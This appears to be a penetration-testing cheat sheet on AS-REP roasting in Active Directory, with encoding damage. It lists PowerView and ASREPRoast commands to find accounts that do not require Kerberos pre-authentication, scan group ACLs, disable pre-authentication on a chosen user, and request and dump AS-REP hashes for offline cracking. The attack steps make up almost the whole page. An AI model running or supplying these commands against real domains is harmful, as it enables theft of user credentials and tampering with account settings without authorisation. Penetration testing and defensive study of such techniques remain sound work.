π’AS-REPS Roasting
. .\Powerview_dev.ps1Enumerating accounts with Kerberos pre-auth disabled
Get-DomainUser -PreauthNotRequired -VerboseGet-DomainUser -PreauthNotRequired -verbose | select samaccountnameInvoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match β<groupname>β}
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match β<groupname>β} | select IdentityReference, ObjectDN, ActiveDirectoryRights | flSet pre-auth not required
. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -VerboseRequest encrypted AS-REP
. ./ASREPRoast.ps1
Get-ASREPHash -Username <username> -VerboseEnumerate all users with Kerberos pre-auth disabled and request a hash
Invoke-ASREPRoast -Verbose
Invoke-ASREPRoast -Verbose | flActive Directory Kerberos Enumeration and Modification
Enumerating Accounts with Disabled Kerberos Pre-Authentication
Enumerating Permissions for a Group
Disabling Kerberos Pre-Authentication for a User
Requesting Encrypted AS-REP for a User
Roasting Users with Pre-Auth Disabled
Cracking the Hash
Last updated